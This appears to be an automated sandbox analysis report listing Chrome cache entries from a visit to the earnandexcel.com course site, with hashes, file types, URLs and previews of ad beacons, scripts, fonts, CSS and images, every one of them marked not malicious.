SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=540290843&val=d6.f960c8ee07134185b51bb967bf50a066
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1047

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1048

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2311)
Category:	downloaded
Size (bytes):	4040
Entropy (8bit):	5.404730960343499
Encrypted:	false
SSDEEP:	96:NY7YNYMQg4lKersC1MPKTBxj6kDxx1vlsyS159O84+SGyAZTxSf0v:686X/lRjOSTflDBvQB4+PXVxScv
MD5:	6DEB5EA9FCACECFF531753E5E0E7BD75
SHA1:	8AA3BDF38CD36D99618976C078A6B18BC07F7ADF
SHA-256:	1100F037583B6927BAC002031523A10B3371A5AFD536FEB2A55053C4B47F90BF
SHA-512:	63C0CA55894C31444A6CE94B654B44E0CC6682FC88B30F111A1C9D4B2DD5B4B25EF8FE363C33A998A27E92E1275A4FA397E595C63CE5C9EDFB902E039ED825D4
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/car.js
Preview:	/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ .var e=this\|\|self,f=function(a){return a};/ . . SPDX-License-Identifier: Apache-2.0 .*/ .var g={};function h(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}function k(a){return-1===a.toString().indexOf("`")}const l=k(a=>a``)\|\|k(a=>a`\0`)\|\|k(a=>a`\n`)\|\|k(a=>a`\u0000`),m=h``&&h`\0`&&h`\n`&&h`\u0000`;var n;var q=class{constructor(a){if(p!==p)throw Error("TrustedResourceUrl is not meant to be built directly");this.l=a}toString(){return this.l+""}},p={},r=function(a){if(void 0===n){var b=null;var d=e.trustedTypes;if(d&&d.createPolicy)try{b=d.createPolicy("goog#html",{createHTML:f,createScript:f,createScriptURL:f})}catch(c){e.console&&e.console.error(c.message)}n=b}a=(b=n)?b.createScriptURL(a):a;return new q(a)};var t=class{constructor(){if(g!==g)throw Error("Bad secret");}toString(){return this.g}};(new t).g="about:blank";(new t).g="about:invalid#zClosurez";const u=[];var v=a=>{console.warn(`A URL

Chrome Cache Entry: 1049

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3201)
Category:	downloaded
Size (bytes):	49869
Entropy (8bit):	4.945543589518102
Encrypted:	false
SSDEEP:	768:Sp/3rjxqaw8Jah8oSXIaPYuQlRNQjEwYNaqWrUidgRjCL0YB1cSFqKj5LTUKLnhn:raHRhnZZfx
MD5:	126C9F6515DA47DAE9FCFD49DC3EA7D3
SHA1:	4F02B0ECFABD78CC0E9D9A7E79AAF257E9EF1E78
SHA-256:	EC9B0FB6087E2E7293D66596BF7A019575BB3A0BC70BBB50E55E608C21DFC3CB
SHA-512:	8A1551EFA30D689EA9DFCB1ED0F47929A14B861DA8B26296CCAEADB5B91D0EA935C37618DE3A90AF9E474AF90B1465BE5AF9548C4C8BACCB83F3605E487BCCDE
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/js/slick.min.js
Preview:	! function(i) { "use strict"; "function" == typeof define && define.amd ? define(["jquery"], i) : "undefined" != typeof exports ? module.exports = i(require("jquery")) : i(jQuery) }(function(i) { "use strict"; var e = window.Slick \|\| {};. (e = function() { var e = 0; return function(t, o) { var s, n = this;. n.defaults = { accessibility: !0, adaptiveHeight: !1, appendArrows: i(t), appendDots: i(t), arrows: !0, asNavFor: null, prevArrow: '<button class="slick-prev" aria-label="Previous" type="button">Previous</button>', nextArrow: '<button class="slick-next" aria-label="Next" type="button">Next</button>', autoplay: !1, autoplaySpeed: 3e3, centerMode: !1, centerPadding: "50px", cssEase: "ease", customPaging: function(e, t) { return i('<button type="button" />').text(t + 1) }, dots: !1, dotsClass: "slick-dots", draggable: !0, easing: "linear", edgeFriction: .35, fade: !1, focusOnSelect: !1, focusOnChange: !1, infinite: !0, initialSlide: 0, lazyLoad: "ondemand", mobileFirst:

Chrome Cache Entry: 1050

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 3416, version 1.0
Category:	downloaded
Size (bytes):	3416
Entropy (8bit):	5.799045412589543
Encrypted:	false
SSDEEP:	96:1wNaH7I45KATThEPA9puZI5xAcithxwWRDG:1lHk0KahE4HkyxZithxw4K
MD5:	BBBCC6463D53B8CDB6C547FD8211AD8D
SHA1:	5ECC08A9BC5C0F47684CCED72B0C7FE7B827B70F
SHA-256:	1FD7ED044F9DE132DE5F938981B5395EE3168954FAE3C1E0697C74184ABE436E
SHA-512:	0BB862651E02F0ABED6EE17E71A63D90B34AB66C0F5F1EA358655DD2DCB13C7D7DF28470DFAA0FE202E97113FA44B73C7E7B57F71B6A332D1CF00F8D000361D7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/fonts/tutor-v2.woff
Preview:	wOFF.......X................................OS/2.......`...`..&$cmap...h...T...T.V.gasp................glyf.......D...D...Vhead.......6...6%...hhea...@...$...$....hmtx...d...,...,#...loca.............,.lmaxp....... ... ...Gname.......n...n....post...8... ... ...............................3.................. ................@.........@...@............... .................................8............. ........... ................................................79..................79..................79.......".......8.m.........;.2................"'&'..'&5467>.7>.3.7>.767>.32...>.7645..'..'..'&"."......'..."..............7267>.?...$**]335........."#zSTb...bTSz"#........433`,+&..............................N..........k..............."..&.......-`1k_`.87....78.`_k0`.........&..$.............................N...........k...........................9.G...>.3!2...........#!"&'..5.467..........3!267>.5.4&'..#!"...2654&#!"....3:.7... 7......7 ...8.....+.........................`..............

Chrome Cache Entry: 1051

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1052

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5559
Entropy (8bit):	4.979518034006951
Encrypted:	false
SSDEEP:	96:R3wklR8bhTXXnTffdpxVRFlVeYciMbh9XXoe7fGi:RNR8bFnTfFpxVRFlVB7MbHnjf5
MD5:	9C7E9A362843519C8F1D2DC44FC59BE2
SHA1:	678F834183A87B8E3B0539E3CDBFB206FA186D1F
SHA-256:	534D659884289BB707E6FDD15F980EEFABEC1EAA0FD65F526D5EF918B3E0432C
SHA-512:	60197E54874708301305FE21301F4EDEEE0D206F5D2E26D458F8C6935A8D1C5401DAB3D731998BB9A910D3EE96D3E9098397F3D78B1DFB0E96B8986EBD28E534
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/sites/a93bd662-05a1-4ce7-81ce-4c67bccef190/page?url=https%3A%2F%2Fearnandexcel.com%2F
Preview:	{"page":{"bookmarkCount":28,"categories":[],"dbId":"d2dec1b5-4aca-4695-bbf8-ce3fa67e40e3","description":"Start to success Learn Skills That Will Make You Invaluable To Your Company Let experienced professionals pass on their skills and knowledge to you as you become your team.s MVP with our courses in Excel, Data Analysis, Business Intelligence, Microsoft Office , Data Science, Accounting, Digital Marketing & More! Search for: Search Most Popular Courses All Excel Premium Digital Marketing Accounting Office Data Science DA & BI All Excel Premium Digital Marketing Accounting Office Data Science DA & BI Let Us Help Finding Your Right Courses Get started Start to success Achieve Your Goals with Earn And Excel 1 + Students Enrolled 1 Classes Completed 0 % Learners report career benefits 0 + Courses from top instructors Some Of The Companies Our Students Work At Start Learning Testimonials See What Our Students Have To Say Excellent Courses .This course is excellent. The Skills I have d

Chrome Cache Entry: 1053

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5559
Entropy (8bit):	4.979518034006951
Encrypted:	false
SSDEEP:	96:R3wklR8bhTXXnTffdpxVRFlVeYciMbh9XXoe7fGi:RNR8bFnTfFpxVRFlVB7MbHnjf5
MD5:	9C7E9A362843519C8F1D2DC44FC59BE2
SHA1:	678F834183A87B8E3B0539E3CDBFB206FA186D1F
SHA-256:	534D659884289BB707E6FDD15F980EEFABEC1EAA0FD65F526D5EF918B3E0432C
SHA-512:	60197E54874708301305FE21301F4EDEEE0D206F5D2E26D458F8C6935A8D1C5401DAB3D731998BB9A910D3EE96D3E9098397F3D78B1DFB0E96B8986EBD28E534
Malicious:	false
Reputation:	low
Preview:	{"page":{"bookmarkCount":28,"categories":[],"dbId":"d2dec1b5-4aca-4695-bbf8-ce3fa67e40e3","description":"Start to success Learn Skills That Will Make You Invaluable To Your Company Let experienced professionals pass on their skills and knowledge to you as you become your team.s MVP with our courses in Excel, Data Analysis, Business Intelligence, Microsoft Office , Data Science, Accounting, Digital Marketing & More! Search for: Search Most Popular Courses All Excel Premium Digital Marketing Accounting Office Data Science DA & BI All Excel Premium Digital Marketing Accounting Office Data Science DA & BI Let Us Help Finding Your Right Courses Get started Start to success Achieve Your Goals with Earn And Excel 1 + Students Enrolled 1 Classes Completed 0 % Learners report career benefits 0 + Courses from top instructors Some Of The Companies Our Students Work At Start Learning Testimonials See What Our Students Have To Say Excellent Courses .This course is excellent. The Skills I have d

Chrome Cache Entry: 1054

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	5.96798377795764
Encrypted:	false
SSDEEP:	12:YKhzY3WaykGw0rQExQp39ejbhODhXyqXCpKlgpKfIjn/:YKhzYOw1QE3wJODhXreKl8jn/
MD5:	362BF6EA83BFD51C8C52D18538B604E7
SHA1:	B97233755532E079BFB3F29ABDDB6C9D14B3FF0A
SHA-256:	A5171BB6F3AF4C98F2274F6EDFD62629B9F646B4F1B60A2843C4260FD50C6419
SHA-512:	AD51DA6ED0D71806D2DC57DE60C517DE6ED044DA395B9C33A009A3CA096FCDAF60E1CF7CB7ADF2135C730E42EF43165BD1BE424CEF282EA7FC3A7D6255151EA6
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:q5res9LD25t8N4gK:pYRX9Yg1E0iH1Ny0Nnudqvl+1WUOI6M3u3IJK/lYgdUZzHwxgqCs3YRdqmrs6Jc0HeUF5K/41w3paxNHr++445PNrhK3gZ0tFLQkWd9JxIJt","adx":"V1:JyGcdQyrQ2Qt4Psy:e8KWdzTrTrmfXHKYShmnM0qsnDbvmw02EMLxnOo741UhtHEZyQZ23drF91bdVzwW7b8348r0KtooSvLkEars/xKnKU792jo5EBMFfw==","unf":"V1:g/qkyvNr3tvIx0Pa:DASic+MyipcotPJl/uoQ83HZ6SLVTr+GLS9Rct9Lttofaz9owtSyH9B+fZL0+j26e7YHqCBD9h6D3aMU74lCbg=="}

Chrome Cache Entry: 1055

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://ads.scorecardresearch.com/p?c1=9&c2=13554685&c3=2&rn=1712870891&cs_xi=333ff547-5277-49f2-ad2b-d1a54c54e28a
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1056

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsueBMvnRxQWWguhza5wEWHR0A1jM1Q2kJTQ7arG9HEyvbm8QhTH_-iTm8q4UXupUABfuLOyiQP7iwUeRKubQji3QfJ5IK83BYZjm4kkntSc4Hlk-7xOy7X5DtnkZkGI3N0f1fVDAx_-F7ZzogTtRZ649TGlHCu5rhJ2yLaUqEgR0QwgpyyDA_07VcCNv0A&sai=AMfl-YQV_vmQX-OaLANdvMXUYrSKbLFbPGGhG9EyLL8BB4m8KpVM9asdXnSXXn3HGQCom_Hh0XTL1U09jjJ7PWVVaxZ3LW4XuH8jhibIlp_nlMv7gVhn0rxBs8ybivQnH2tAueBzFPeaO9S2AQE4QlFt&sig=Cg0ArKJSzESBBO0E81RjEAE&cid=CAQSTgB7FLtqw8KxkTRleQ5aIef6FSzcB30cBLKsXFTJoLDrh1F8BBsb9V03U-bTcPAWvNSJsHUXi9bZ0CqkRnPtBL3mdimX6GJG_mFiw_tBXBgB&id=ampim&o=0,0&d=970,90&ss=1280,1024&bs=1280,907&mcvt=1006&mtos=0,0,1006,1006,1006&tos=0,0,1006,0,0&tfs=273&tls=1279&g=100&h=100&tt=1279&r=v&avms=ampa&uap=Windows&uapv=10.0.0&uaa=x86&uam=&uafv=117.0.5938.149&uab=64&uafvl=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&uaw=false&adk=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 1057

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7819), with no line terminators
Category:	downloaded
Size (bytes):	7819
Entropy (8bit):	5.771963589239434
Encrypted:	false
SSDEEP:	192:KhwL/mLw8SG/VSqCHFiSOHkpD7SzvJiocuE:CwrmLw8SG/VVC0afSns
MD5:	F410FD2C38617D3A795A1C062F66A120
SHA1:	58112CE58796D980D182F12171C7AF9B38FDA8D7
SHA-256:	2CD5F5C4F77B694414A83C8A565A48AD0CD1E9D2D74A54AB208D02992848B868
SHA-512:	B7EC89227F2D2B48BCD6339DE05165F83C6114647924D0F5AFD7D6C5D2C087D0C2C31D29187253E77780918C2E7F9D1E706BD4354AB062D806EDE5F4889F080C
Malicious:	false
Reputation:	low
URL:	https://player.vimeo.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/bcc5fb0a8815/main.js
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(V,g,h,m,n,o,y,z){V=b,function(c,e,U,f,C){for(U=b,f=c();!![];)try{if(C=-parseInt(U(452))/1+-parseInt(U(402))/2(parseInt(U(394))/3)+parseInt(U(377))/4+-parseInt(U(399))/5(parseInt(U(429))/6)+-parseInt(U(381))/7+parseInt(U(407))/8+parseInt(U(418))/9*(parseInt(U(428))/10),C===e)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,140662),g=this\|\|self,h=g[V(450)],m=function(a0,e,f,C){return a0=V,e=String[a0(403)],f={'h':function(D){return null==D?'':f.g(D,6,function(E,a1){return a1=b,a1(382)[a1(411)](E)})},'g':function(D,E,F,a2,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(a2=a0,D==null)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[a2(423)];Q+=1)if(R=D[a2(411)](Q),Object[a2(389)][a2(368)][a2(444)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(389)][a2(368)][a2(444)](H,S))J=S;else{if(Object[a2(389)][a2(368)][a2(444)](I,J)){if(256>J[a2(376)](0)){for(G=0;G<M;O<<=1,P==E-1?(P=0,N[a2(363)](F(O)),O=0):P++,G++);for(T=J[a2(376)](0),G=0;8>G;O=1&T\|O<<1,E-1

Chrome Cache Entry: 1058

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13766)
Category:	downloaded
Size (bytes):	13805
Entropy (8bit):	4.575451966573203
Encrypted:	false
SSDEEP:	192:n0QO/bxqyhZRRJHh5DXAZSj08ZxZZxPRxI2:OnXAZSFw2
MD5:	A7C548CD7B57461962FE6655C52ED84F
SHA1:	87B74401AE850FE62F520BEF66B1E3750313E4BF
SHA-256:	39849BBF85DAC8D094EA97225410408A1ADD1709B7E6B38B3BCF389598B17293
SHA-512:	F93CD914D12578F136EDDEEC68CB09E643091A6C03D3333BC0013EC121D73AAEA317FD3CD677FE7ECA4E2BC94695C5E56849871397FEB9911C194A6F124FFDFA
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/css/frontend-legacy.min.css
Preview:	/! elementor - v3.6.0 - 21-03-2022 /..elementor-bc-flex-widget .elementor-section-content-top>.elementor-container>.elementor-row>.elementor-column>.elementor-column-wrap{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.elementor-bc-flex-widget .elementor-section-content-middle>.elementor-container>.elementor-row>.elementor-column>.elementor-column-wrap{-webkit-box-align:center;-ms-flex-align:center;align-items:center}.elementor-bc-flex-widget .elementor-section-content-bottom>.elementor-container>.elementor-row>.elementor-column>.elementor-column-wrap{-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}.elementor-column-gap-narrow>.elementor-row>.elementor-column>.elementor-element-populated>.elementor-widget-wrap{padding:5px}.elementor-column-gap-default>.elementor-row>.elementor-column>.elementor-element-populated>.elementor-widget-wrap{padding:10px}.elementor-column-gap-extended>.elementor-row>.elementor-column>.elementor-element-populated>.elementor

Chrome Cache Entry: 1059

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/pubmatic/25F9549E-136A-47E9-9171-DA44C0E0D5E3?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1060

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	19008
Entropy (8bit):	7.969870231518143
Encrypted:	false
SSDEEP:	384:dXhxFIpZOafh3uFbKr1JFrAiRp/GBgOKC:dXh8Oi6MFMiRtGBgpC
MD5:	ED10260620AD442C40EDA26DF36C4328
SHA1:	69113D2C97D67C1CD7B7FC895E6C8A6757D86CC2
SHA-256:	94D49E8C7EB9DEE7A6DA8578591699F9FA8F05660A6BB7526D04777522836244
SHA-512:	846BA3FAB950B73E1EDDEE559D967336ABF22449046631D1FC5529D12C8373C04363D2E0CEF21D156521722A1C4115650E1CB99A532850AF75BCB93F5337D6B8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/PowerPivot-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................`...........................!1.AQ......"RUa......2BSVqt....#5DETbs...$%&367Ceru.4cd....'F.8....................................4.......................Q...!1.A"3Rq#2a......$..B.r............?...@Nb..,Z~;..c.yo"...............R)d...JT.<........T....y9o....iZ..$l..^....K...z.{..t..is..r.Y._.k...k+'....R..=....Z....![..Y.....\SG.9...<.^.F.L....Q. ..a1.x..X/u.SL..[.k.y.P..,.#[...-RDbu..[..(..A...VKSJ.9\..3.d....&$Y.lK[.Vq..H.t;aL....3....\.....1H.....s..g.W'.#w.,.N...X......[....c...8v4O1......+....3.......Y.vo.9w......]QT.(...u2...<+"...[Q.H...T.bG[..SMd...[$...jn.pA.h...-U..8kN.rl.+.w...04k.8<D..AYbc.$vj.'b..N.~....V.F".,A..Q..R"a$.S.J'b].y..B...+.).G.J.l..q.9...,.Z..+e..;ZC.1.g.r\|.GYrT.G.l...$..h.}..NQ=?.i.m.Vx...p.3U..[.....a.......Bw;..S.nW.)L..&

Chrome Cache Entry: 1061

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2090), with no line terminators
Category:	downloaded
Size (bytes):	2090
Entropy (8bit):	5.24163333269938
Encrypted:	false
SSDEEP:	48:b+ovc0Qm9qjgB+cafqM2fA7nBOCRbHDTAw0fsFrKP8f:Scce9qjXsbA7nBOmbHf0fsFi8f
MD5:	6D29CF1B6C1E71DC1A988B86F5D2102F
SHA1:	5078FFFD279F1C4160F4715AF1A8E5203A5C6D53
SHA-256:	ED77FC2CBBCF4CD716FBF7F4ACE9C8D1612BF6140A5996E4F38F8CAA142EDCB8
SHA-512:	6A1A197872278A2019EF15D120E9BAA2A4DA61CFFC710005839C6AC76EEF4B5285E75613DFECFC6A4E678F198AB5EA5BA89F6F344EBAC41B303DE832495E8311
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/thrive-visual-editor/thrive-dashboard/js/dist/frontend.min.js
Preview:	!function(){if(window.TVE_Dash=window.TVE_Dash\|\|{},!e\|\|!e.$j){var a=window.$,e={$j:jQuery.noConflict()};a&&(window.$=a)}!function(a){TVE_Dash.ajax_sent=!1;var t={},s={};TVE_Dash.add_load_item=function(e,n,o){var r;if("function"!=typeof o&&(o=a.noop),TVE_Dash.ajax_sent){var i={},_={};return i[e]=n,_[e]=o,this.send_ajax(i,_),!0}return n?(t[e]&&"function"==typeof(null===(r=console)\|\|void 0===r?void 0:r.warn)&&console.warn(e+" ajax action already defined"),t[e]=n,s[e]=o,!0):(console.error&&console.error("missing ajax data"),!1)},TVE_Dash.ajax_load_css=function(e){a.each(e,(function(e,t){a("link#"+(e+="-css")).length\|\|a('<link rel="stylesheet" id="'+e+'" type="text/css" href="'+t+'"/>').appendTo("head")}))},TVE_Dash.ajax_load_js=function(e){var t=document.body;a.each(e,(function(s,n){if(-1!==s.indexOf("_before"))return!0;var o=document.createElement("script");e[s+"_before"]&&a('<script type="text/javascript">'+e[s+"_before"]+"<\/script>").after(t.lastChild),s&&(o.id=s+"-script"),o.src=n,t.a

Chrome Cache Entry: 1062

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsudLIgJ-rTslrx5uB3l1sD0l_MOO6ePQSNTm_HT5D6__g8r3d8lKoxvTJsSTjxRLA5C3tRTbcaqycdL2TP4Q8ZaB8leDM5PridgW_w0EjwtuS1QvokKC2GHkGSAmU9tNqy_EnDz83mBEvgLLSmVj0uLAPo2oq56L4Lv8ZXFlsMFGi7i7UgRYAIOtw5UUA&sai=AMfl-YQwKTUxeZjtKEViCeuiRP4igx__jN_WXAB9NflqU8UQXqSWVjPabptGDtPkBlYoDHtz_2IwRG4yTkrcYGkdLwedDWgFBPpnA8r_7l3_e-Uyhl8n7MLzRwyocBNR36wCrEPH7vDeNNMyVDBi5Emg&sig=Cg0ArKJSzJ4iA-rIRt3VEAE&cid=CAQSTgB7FLtqwtkV0_2212jlw18tPgqSQNVFbvg1R-mSXgK-5obgFmoqp1lailPZkEYPq0m426CXflktP3jbxsYh0x-BgFrfikhDt0D63u3mJRgB&id=ampim&o=0,0&d=970,100&ss=1280,1024&bs=1280,907&mcvt=1004&mtos=0,0,1004,1004,1004&tos=0,0,1004,0,0&tfs=285&tls=1289&g=100&h=100&tt=1289&r=v&avms=ampa&uap=Windows&uapv=10.0.0&uaa=x86&uam=&uafv=117.0.5938.149&uab=64&uafvl=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&uaw=false&adk=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 1063

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537082476&val=uJS8wzsvUNNALSsYHAMcYJySJMU
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1064

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	111
Entropy (8bit):	4.86936392622622
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HHVIoCYKgQnIwBM4DCVeBbxSsfNh:8WiIUemo/H1fCYKbY4DCVebxS+X
MD5:	DC17B2FD3376087660A83874596423FC
SHA1:	0F2D8397E34985E07B7C782183651DF39A2194AC
SHA-256:	9FD5C406FB9C597C488FD286E00E76DA8799B1776440C9CE2FA9EF133D0C9130
SHA-512:	29B14C19B629C1D7737AD06F04CF5FE4E1658AE8B7F4AAF6C04498B3712F3FAE90E56C79589F8FEBD6ABF67BD7E47B46E356153C3B9687B4E66B01E7D75020A4
Malicious:	false
Reputation:	low
